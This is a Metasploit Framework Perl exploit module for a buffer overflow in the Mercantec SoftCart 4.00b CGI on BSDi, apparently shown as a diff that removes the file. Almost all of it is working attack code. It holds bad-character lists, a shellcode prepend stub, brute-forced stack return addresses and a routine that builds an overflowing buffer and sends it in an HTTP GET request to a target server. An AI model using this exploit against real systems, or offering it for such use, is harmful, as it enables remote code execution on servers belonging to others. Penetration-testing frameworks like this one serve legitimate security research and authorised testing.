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-
- ##
- # This file is part of the Metasploit Framework and may be redistributed
- # according to the licenses defined in the Authors field below. In the
- # case of an unknown or missing license, this file defaults to the same
- # license as the core Framework (dual GPLv2 and Artistic). The latest
- # version of the Framework can always be obtained from metasploit.com.
- ##
-
- package Msf::Exploit::mercantec_softcart;
-
- use strict;
- use base "Msf::Exploit";
-
- my $advanced =
- {
- 'StackBottom' => [ '', 'Start address for stack ret.' ],
- 'StackTop' => [ '', 'Stop address for stack ret.' ],
- 'StackStep' => [ 0, 'Number of bytes to increment between steps.' ],
- 'BruteWait' => [ 0, 'Number of seconds to wait between steps.' ],
- };
-
- my $info =
- {
- 'Name' => 'Mercantec SoftCart CGI Overflow',
- 'Version' => '$Revision: 1.12 $',
- 'Authors' =>
- [
- 'skape <mmiller [at] hick.org>',
- 'trew <trew [at] exploit.us>'
- ],
-
- 'Description' =>
- qq{
- This is an exploit for an undisclosed buffer overflow
- in the SoftCart.exe CGI as shipped with Mercantec's shopping
- cart software. It is possible to execute arbitrary code by
- passing a malformed CGI parameter in an HTTP GET request.
- This issue is known to affect SoftCart version 4.00b.
- },
-
- 'Arch' => [ 'x86' ],
- 'OS' => [ 'bsdi' ],
- 'Priv' => 0,
-
- 'UserOpts' =>
- {
- 'RHOST' => [ 1, 'ADDR', 'The target HTTP server address' ],
- 'RPORT' => [ 1, 'PORT', 'The target HTTP server port', 80 ],
- 'VHOST' => [ 1, 'DATA', 'The target HTTP virtual host', 'auto' ],
- 'URI' => [ 1, 'DATA', 'The target CGI URI', '/cgi-bin/SoftCart.exe' ],
- },
-
- 'Payload' =>
- {
- 'Space' => 1000, # tons
- 'MinNops' => 16,
- 'BadChars'=> "\x09\x0a\x0b\x0c\x0d\x20\x27\x5c\x3c\x3e" .
- "\x3b\x22\x60\x7e\x24\x5e\x2a\x26\x7c\x7b" .
- "\x7d\x28\x29\x3f\x5d\x5b\x00",
- 'PrependEncoder' => "\x83\xec\x7f", # sub $0x7f, %esp
- },
-
- 'Refs' =>
- [
- ['OSVDB', '9011'],
- ['MIL', '38'],
- ],
-
- 'DefaultTarget' => -1,
-
- 'Targets' =>
- [
-
- # Name Bottom/Ret Top
- [ 'BSDi/4.3 Bruteforce', 0xefbf3000, 0xefbffffc ],
- [ 'BSDi/4.3', 0xefbf4b8e, 0x0 ],
- ],
-
- 'Keys' => ['softcart'],
-
- 'DisclosureDate' => 'Aug 19 2004',
- };
-
- sub new
- {
- my $class = shift;
- my $self;
-
- $self = $class->SUPER::new(
- {
- 'Info' => $info,
- 'Advanced' => $advanced,
- },
- @_);
-
- return $self;
- }
-
- #
- # We must fork our child before doing fun stuff.
- #
- sub PayloadPrepend
- {
- my $self = shift;
-
- return "\x6a\x02\x58\x50\x9a\x00\x00\x00\x00\x07\x00" .
- "\x85\xd2\x75\x0a\x31\xc0\x40\x9a\x00\x00\x00" .
- "\x00\x07\x00";
- }
-
- sub Exploit
- {
- my $self = shift;
- my $targetIdx = $self->GetVar('TARGET');
- my $payload = $self->GetVar('EncodedPayload');
- my $shellcode = $payload->Payload;
- my $target = $self->Targets->[$targetIdx];
- my $ret = $target->[1];
- my $valid;
-
- $self->PrintLine('[*] Trying exploit target ' . $target->[0]);
-
- if ($target->[0] =~ /Bruteforce/)
- {
- my $stackTop = hex($self->GetLocal('StackTop'));
- my $stackBottom = hex($self->GetLocal('StackBottom'));
- my $stackStep = $self->GetLocal('StackStep');
- my $wait = $self->GetLocal('BruteWait');
-
- $stackBottom = $target->[1] if ($stackBottom == 0);
- $stackTop = $target->[2] if ($stackTop == 0);
- $stackStep = $payload->NopsLength if ($stackStep == 0);
-
- $self->PrintLine(sprintf('[*] Brute forcing %.8x => %.8x (step %d)...',
- $stackBottom, $stackTop, $stackStep));
-
- # Loop through addresses, incrementing by stackStep each interval
- for ($ret = $stackBottom, $valid = $ret + length($shellcode);
- $ret < $stackTop;
- $ret = $self->StepAddress(Address => $ret, StepSize => $stackStep, Direction => 1),
- $valid = $self->StepAddress(Address => $valid, StepSize => $stackStep, Direction => 1))
- {
-
- # Wrap valid around if it goes past the top
- $valid = $stackBottom if ($valid >= $stackTop);
-
- $self->PrintLine(sprintf("[*] Trying %.8x...", $ret));
-
- last if (not defined($self->transmitExploit(target => $target,
- shellcode => $shellcode, ret => $ret, valid => $valid)));
-
- sleep($wait);
- }
- }
- else
- {
- $valid = $ret + length($shellcode);
-
- $self->transmitExploit(target => $target,
- shellcode => $shellcode, ret => $ret, valid => $valid);
- }
- }
-
- sub transmitExploit
- {
- my $self = shift;
- my ($target, $shellcode, $ret, $valid) = @{{@_}}{qw/target shellcode ret valid/};
- my $targetHost = $self->GetVar('RHOST');
- my $targetPort = $self->GetVar('RPORT');
- my $vhost = $self->GetVar('VHOST');
- my $uri = $self->GetVar('URI');
- my $bof;
- my $s;
-
- $vhost = $targetHost if (not defined($vhost) or $vhost eq 'auto');
-
- # Build payload
- $bof = "MAA+scstoreB";
- $bof .= "A" x (524 - length($bof));
- $bof .= pack("V", $ret);
- $bof .= "MSF!";
- $bof .= pack("V", $valid);
- $bof .= $shellcode;
-
- my $s = Msf::Socket::Tcp->new
- (
- 'PeerAddr' => $targetHost,
- 'PeerPort' => $targetPort,
- 'LocalPort' => $self->GetVar('CPORT'),
- 'SSL' => $self->GetVar('SSL'),
- );
- if ($s->IsError) {
- $self->PrintError;
- return;
- }
-
- # << pow! >>
- $s->Send("GET $uri?$bof HTTP/1.0\r\n" .
- "Host: $vhost\r\n" .
- "\r\n");
-
- return 1;
- }
-
- 1;
-